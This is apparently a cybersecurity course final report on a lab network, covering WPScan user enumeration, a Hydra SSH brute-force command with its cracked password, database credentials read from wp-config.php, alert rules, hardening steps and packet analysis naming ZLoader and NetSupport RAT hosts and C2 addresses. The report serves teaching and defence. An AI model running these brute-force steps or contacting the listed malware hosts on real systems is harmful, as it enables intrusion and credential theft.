# Final Engagement

Attack, Defense & Analysis of a Vulnerable Network

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kibana

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
# Offensive


# Network Topology & Critical Vulnerabilities

# **Network Topology**

Target 2 192.168.1.115/24

#### Final Project - Network Topology





#### **Network**

Address Range: 192.168.1.0/24

Netmask: 255.255.255.0

Gateway: 10.0.0.1

#### **Machines**

IPv4: 192.168.1.100

OS: Linux

Hostname:ELK

IPv4: 192.168.1.90

OS: Linux

Hostname: Kali

IPv4: 192.168.1.110

OS: Linux

Hostname: Target 1

IPv4: 192.168.1.115

OS: Linux

Hostname: Target 2

# Critical Vulnerabilities: Target 1

Our assessment uncovered the following critical vulnerabilities in Target 1.

Vulnerability	Description	Impact
Exposed WordPress Credentials	Running a scan can enumerate usernames.	Reveals user's credentials
Weak Passwords	Users that have weak passwords can give access to malicious actors	lateral Movement
WordPress XML RPC Ping API Pingback locator	Allow attackers to send request to internet servers for port-scanning attack	One server can expose all the internal server composition

#### Critical Vulnerabilities: Target 2

Our assessment uncovered the following critical vulnerabilities in Target 2.

Vulnerability	Description	Impact
WordPress User Enumeration	WPScan detect the list of users with the specific options used (-u)	Anyone can brute force the authentication for the system
open port 22 SSH & Weak Password	Having port 22 SSH open anyone with the username and password can get into the system	Anyone can brute force the authentication for the system
Python sudo privileges	User is given access to sudo privileges via python	Attacker can escalate to root privileges easily gaining access to the system

# Exploits Used

#### Exploitation: Wordpress User Enumeration

- WPScan was used to find the 2 users: Michael and Steven wpscan
- -url <a href="http://192.168.1.110/wordpress">http://192.168.1.110/wordpress</a> -eu

```
Shell No. 1
File
     Actions
                    View
              Edit
                           Help
:01
User(s) Identified:
   steven
   Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection
  Confirmed By: Login Error Messages (Aggressive Detection)
   michael
   Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection
  Confirmed By: Login Error Messages (Aggressive Detection)
    No WPVulnDB API Token given, as a result vulnerability data has not bee
   You can get a free API token with 50 daily requests by registering at h
ttps://wpvulndb.com/users/sign_up
[+] Finished: Tue Sep 7 15:28:45 2021
   Requests Done: 64
   Cached Requests: 4
   Data Sent: 12.834 KB
   Data Received: 17.287 MB
   Memory used: 133.434 MB
   Elapsed time: 00:00:02
root@Kali:~#
```

#### Exploitation: Open Port 22 SSH & Weak Password

Hydra was used to get Michael's password

```
Actions Edit View Help
File
root@Kali:~# hydra -l michael -P /usr/share/wordlists/rockyou.txt
.168.1.110
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in milit
cret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 202
5:54:08
[WARNING] Many SSH configurations limit the number of parallel tas
 recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login
:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://192.168.1.110:22/
[22][ssh] host: 192.168.1.110 login: michael password: michael
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 202
5:54:15
rootakali.~#
```

#### **Exploitation: Sensitive Data Exposure**

 Discovered the wordpress directory there is a wp-confing.php file. found the username is root and the password is R@v3nSecurity

```
michael@target1:/var/www/html/wordpress
File
      Actions
               Edit
                           Help
                    View
    Database table prefix
    ABSPATH
   @link https://codex.wordpress.org/Editing_wp-config.php
  @package WordPress
   ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');
/** MySQL database username */
define('DB_USER', 'root');
/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');
/** MySQL hostname */
define('DB_HOST', 'localhost');
/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8mb4');
/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');
```

# Avoiding Detection

# Stealth Exploitation of (Wordpress User Enumeration)

#### **Monitoring Overview**

- this alert detection was used this exploit:
- WHEN count () GROUPED OVER top 5
   "http.response\_status\_code IS ABOVE 400 FOR THE LAST 5 minutes
- packetbeat-http.response.status\_code metrics was used
- above 400 FOR THE LAST 5 MINUTES threshold was fired at.

#### **Mitigating Detection**

- You can disable User Enumeration in Wordpress by using free plugin WP"
   Hardening
- install and activate plugin> 'Security Fixers' tab> stop user enumeration
- Underline factor is to educate the employees to use the stronger passwords for security purposes. (not using the same pw as id like michael)
- company should also imply a policy for password change every 3-6 months.

# Stealth Exploitation of [Open Ports 22 SSH]

#### **Monitoring Overview**

- SSH Login alert would detect this exploit
- Monitor SSH Port for unauthorized access
- Triggers when user attempts to access system over Port 22

#### **Mitigating Detection**

- the best mitigation for this exploit would be closing the port 22
- However there might be times when you would need Port 22 open.
- if this is the case we can create whitelisting of IPs so that only authorized can access the Port 22

# Stealth Exploitation of [Sensitive Data Exposure]


#### **Monitoring Overview**

- Alert when SQL Database has gained access with unauthorized personnel.
- Triggers external/unauthorized IP connections that are made to the SQL database or any other sensitive files (like wp-config.php file)

#### **Mitigating Detection**


- Have all the sensitive data encrypted, not in plaintext
- this will have the data not easily accessible
- only whitelist the IPs that are being logged in for SQL database (ex. Administrators)






# HTTP Request Size Monitor

- http.request.bytes
- Is above 3500 bytes for the last 1 minute
- Detect HTTP request smuggling




# **CPU Usage Monitor**

- system.process.cpu.total
- Is above 50% for the last 5 minutes
- DoS Attack or detection of software causing excessive system usage




# **Excessive HTTP Error Codes**

- http.response.status\_code
- One of the top 5 status codes is above 400 for the last 5 min
- Brute Force Attack detection
   DoS Attack
   Attacks that would influence
   number of hits on the website



Create alert

Cancel



# Hardening Against Weak Passwords on Target 1

If users are forced to create more complex passwords, they could easily be orders of magnitude more difficult to guess or brute force, effectively stopping brute force attacks from being a viable attack vector.

Executing the following steps will force users to make more complex passwords.

- 1. Use admin account
- 2. run "sudo apt-get install libpam-cracklib"
- 3. run "sudo nano /etc/pam.d/common-password"
- 4. There will be a line that reads "password requisite pam\_cracklib.so retry=3 minlen=8 difok=3"
- 5. Edit it to "password requisite pam\_cracklib.so try\_first\_pass retry=3 minlength=12 credit=1 credit=1 credit=1 credit=1 reject username"
- 6. This will require passwords to be 12 characters long and include, 1 uppercase letter, 1 lowercase letter, 1 digit, and 1 other character. Also, the password can no longer be the same as the username.

# Hardening Against Privilege Escalation via Python on Target 1

If Stevens sudo privileges related to python are removed, malicious actors won't be able to gain access to the root shell via python after accessing Stevens account. Executing the following steps will force users to make more complex passwords.

- 1. Use admin account
- 2. Run "sudo visudo"
- 3. Delete the line that reads "steven ALL=(ALL) NOPASSWD: /usr/bin/python"
- 4. Save and exit the document with "ctrl + x"

```
# Host alias specification

# User alias specification

# Cmnd alias specification

# User privilege specification

# Allow members of group sudo to execute any command

# Sudo ALL=(ALL) NOPASSWD:ALL

# See sudoers(5) for more information on "#include" directives:

#includedir /etc/sudoers.d

Steven ALL=(ALL) NOPASSWD: /usr/bin/python
```

# Hardening Against MySQL Data Breach on Target 1

Michael was able to read the wp-config.php file to learn the password. By restricting read and write access from "other users", we can prevent unauthoris accounts from using credentials to access the MySQL database.

Executing the following steps will force users to make more complex password


- Use admin account
- 2. Run "sudo chmod 660 /var/www/html/wordpress/wp-config.php"

```
michael@target1:/var/www/html/wordpress$ ls -l
total 192
                                 418 Sep 25 2013 index.php
-rwxrwxrwx 1 root
                       root
                               19935 Aug 13 2018 license.txt
                      root
-rwxrwxrwx 1 root
                                7413 Nov 23 13:35 readme.html
                      root
-rwxrwxrwx 1 root
                                6864 Nov 23 13:35 wp-activate.php
                      root
           1 root
                                4096 Jun 15 2017
                      root
           9 root
                                 364 Dec 19 2015 wp-blog-header.php
                      root
           1 root
                                1627 Aug 29 2016 wp-comments-post-php
                      root
                                3134 Aug 13 2018 wp-config.php
          1 www-data www-data
                                2853 Dec 16 2015 wp-config-sample.php
                       root
                                4096 Nov 25 12:49
drwxrwxrwx 6 root
                       root
                                3286 May 24 2015 wp-cron.php
-rwxrwxrwx 1 root
                      root
                               12288 Jun 15 2017
drwxrwxrwx 18 root
                       root
                                2422 Nov 21 2016 wp-links-opml.php
-rwxrwxrwx 1 root
                       root
                                3301 Oct 25 2016 wp-load.php
-rwxrwxrwx 1 root
                       root
                               34347 Nov 23 13:35 wp-login.php
-rwxrwxrwx 1 root
                       root
                                8048 Jan 11 2017 wp-mail.php
-rwxrwxrwx 1 root
                       root
                               16200 Apr 6 2017 wp-settings.php
-rwxrwxrwx 1 root
                      root
                               29924 Jan 24 2017 wp-signup.php
-rwxrwxrwx 1 root
                       root
                                4512 Oct 14 2016 we twackback ahn
 MUNICIPAL T MOST
```

```
root@target1:/var/www/html/wordpress# sudo chmod 660 /var/www/html/wordpres
s/wp-config.php
root@target1:/var/www/html/wordpress# ls -l
total 192
                                  418 Sep 25 2013 index.php
-rwxrwxrwx 1 root
                       root
                                19935 Aug 13 2018 license.txt
                       root
                       root
                                6864 Nov 23 13:35 wp-activate.php
                       root
                                4096 Jun 15 2017 wp-admin
                       root
                                 364 Dec 19 2015 wp-blog-header.php
                       root
                                1627 Aug 29 2016 wp-comments-post.php
                       root
          1 www-data www-data 3134 Aug 13 2018 wp-config.php
                                2853 Dec 16 2015 wp-config-sample.php
-rwxrwxrwx 1 root
                       root
                                4096 Nov 25 12:49 wp-content
drwxrwxrwx 6 root
                       root
                                3286 May 24 2015 wp-cron.php
-rwxrwxrwx 1 root
                       root
                               12288 Jun 15 2017 wp-includes
drwxrwxrwx 18 root
                       root
                                2422 Nov 21 2016 wp-links-opml.php
-rwxrwxrwx 1 root
                       root
                                3301 Oct 25 2016 wp-load.php
-rwxrwxrwx 1 root
                       root
                               34347 Nov 23 13:35 wp-login.php
-rwxrwxrwx 1 root
                       root
                                8048 Jan 11 2017 wp-mail.php
-rwxrwxrwx 1 root
                       root
                               16200 Apr 6 2017 wp-settings.php
-rwxrwxrwx 1 root
                       root
                               29924 Jan 24 2017 wp-signup.php
-rwxrwxrwx 1 root
                       root
```

# Hardening Against Unsecured/Open Ports on Target 2

- Whitelist known, safe IP's for SSL
   Using firewall or similar programs will allow for ease in implementing
- Close port 80 HTTP and open port 443 HTTPS for more secure/encrypted traffic



# Hardening Against Directory Listing on Target 2

- 1) Securing the directories prevents unauthorized users from accessing any sensitive information stored here.
- 2) Store the data internally and not directly to the site to avoid easier
- 3) using authentication to access said files
- 4) change privilege to a Roll-Based privilege system

```
composer.json

pr://192.168.1.115 /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

dir -u http://192.168.1.115 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

composer.json

composer.json

composer.lock

composer.loc
```

ii iaiget z	
Parent Directory	
LICENSE	
PATH	
? PHPMailerAutoload.php	3
* README.md	
SECURITY.md	
? VERSION	
? changelog.md	
class.phpmailer.php	
? class.phpmaileroauth.php	
? class.phpmaileroauthgoogle.php	2
? class.pop3.php	1
? class.smtp.php	
? composer.json	3
2 composer.lock	
docs/	
examples/	
extras/	
? get oauth token.php	
language/	
test/	

# Hardening Against Vulnerable Software on Target 2

- Updating to a more recent and more stable version of the software.
- Newer software updates include know patches for exiting vulnerabilities.

```
syntax: apt-get update <software_name>
apt-get upgrade <software_name>
```

```
root@kali:~# apt-get update && apt-get upgrade
```



#### picincing i atones with Ansibic

https://blog.dbi-services.com/a https://blog.dbi-services.com/

Ansible playbooks for approaching and patching would can installed packages for approaches and patches, then run approache, patches, and print any errors from upgrade/patching.

```
- name: Get packages that can be upgraded
      become: yes
      ansible.builtin.dnf:
        list: upgrades
        state: latest
        update_cache: yes
      register: reg_dnf_output_all
      when: ev_security_only == "no"
    - name: List packages that can be upgraded
      ansible.builtin.debug:
        msg: "{{ reg_dnf_output_all.results | map(attribute='name') | list }}"
      when: ev_security_only == "no"
    - name: Get packages that can be patched with security fixes
      become: yes
      ansible.builtin.dnf:
        security: yes
        list: updates
        state: latest
        update_cache: yes
      register: reg_dnf_output_secu
      when: ev_security_only == "yes"
    - name: List packages that can be patched with security fixes
      ansible.builtin.debug:
        msg: "{{ reg_dnf_output_secu.results | map(attribute='name') | list }}"
      when: ev_security_only == "yes"
    - name: Request user confirmation
      ansible.builtin.pause:
        prompt: |
          The packages listed above will be upgraded. Do you want to continue ?
38
           -> Press RETURN to continue.
39
           -> Press Ctrl+c and then "a" to abort.
      when: reg_dnf_output_all is defined or reg_dnf_output_secu is defined
```





# Network Topology & Critical Vulnerabilities

# **Network Topology**

Target 2 192.168.1.115/24







#### Network

Address Range: 192.168.1.0/24

Netmask: 255.255.255.0

Gateway: 10.0.0.1

#### **Machines**

IPv4: 192.168.1.100

OS: Linux

Hostname:ELK

IPv4: 192.168.1.90

OS: Linux

Hostname: Kali

IPv4: 192.168.1.110

OS: Linux

Hostname: Target 1

IPv4: 192.168.1.115

OS: Linux

Hostname: Target 2

# Critical Vulnerabilities: Target 1


Our assessment uncovered the following critical vulnerabilities in Target 1.

Vulnerability	Description	Impact
Open Access to ports	Easy access to open 22 and 80	unsecure common ports facilitate brute force attack
enumerating usernames in Wordpress	Easy identification of usernames on system	Credentials provide easy acces for attackers
Simple password	passwords lacking variation or length	passwords can easily be brute forced or guessed
root vulnerability with python	Allow local users to gain privilege via python script	permits full administrative access

#### Critical Vulnerabilities: Target 2

Our assessment uncovered the following critical vulnerabilities in Target 2.

Vulnerability	Description	Impact
unsecured/open ports	SSH(22), HTTP (80)	Remote access via SSH and unsecured traffic between requests.
Directory Listing	Public Facing Directories	Access to sensitive information
Un-patched/Vulnerable software	Outdated vulnerable software is being used	Contains vulnerabilities patched by newer versions



#### Traffic Profile

Our analysis identified the following characteristics of the traffic on the network:

Feature	Value	Description
Top Talkers (IP Addresses)	172.16.4.205 49.36% 185.243.115.84 29.16% 10.0.0.201 18.74%	Machines that sent the most traffi
Most Common Protocols	TCP 88.5% UDP 11.2% ARP 0.2%	Three most common protocols or network.
# of Unique IP Addresses	IPv4 808 IPv6 2	Count of observed IP addresses.
Subnets	172.16.4.0/24 185.243.115.0/24 10.0.0.0/24	Observed subnet ranges.
# of Malware Species	2	Number of malware binaries ident traffic.

#### **Behavioral Analysis**

#### Purpose of Traffic on the Network


Users were observed engaging in the following kinds of activity.

#### "Normal" Activity

- Watching Youtube
- Browsing medical information
- Shopping for toys and records

#### **Suspicious Activity**


- Creating of server on corporate network
- Torrenting
- Malware transmission



NEW FORUM


Categories

Movie



# Streaming Video Analysis


Streaming Video from Frank-n-Ted.com UDP port 53



#### Searching for Record Information

Browsing www.vinylmeplease.com for record information


#### HTTP port 80





#### Zloader RAT Download

frank-n-ted.com (10.6.12.203) downloaded a file malicious file from 205.185.125.104 HTTP GET requests were made for: pQBtWi june11.dll This is commonly associated with an Excel macro june11.dll is a RAT It POSTS to the host snnmnkxdhflwgthgismb.com (5.101.51.151)snnmnkxdhflwgthqismb.com is a C2 site for the **ZLoader RAT** 



#### NetSupport RAT Download

#### This is a Remote Access Trojan - NetSupport RAT

Visit <a href="http://green.mattingsolutions.co">http://green.mattingsolutions.co</a> (185.243.115.84)

This is a known infected site

Likely a fake web browser update

POST request to 185.243.115.84 included

501 ASCII hexadecimal data files

empty.gif

2 screen shots of the infected user's desktop

empty.gif?ss&ss1.img and empty.gif?ss&ss2.img

POST requests to <a href="http://31.7.62.214/fakeurl.htm">http://31.7.62.214/fakeurl.htm</a>

114 application/x-www-form-urlencoded

fakeurl.htm

This file name is associated the the Netsup

**RAT** 

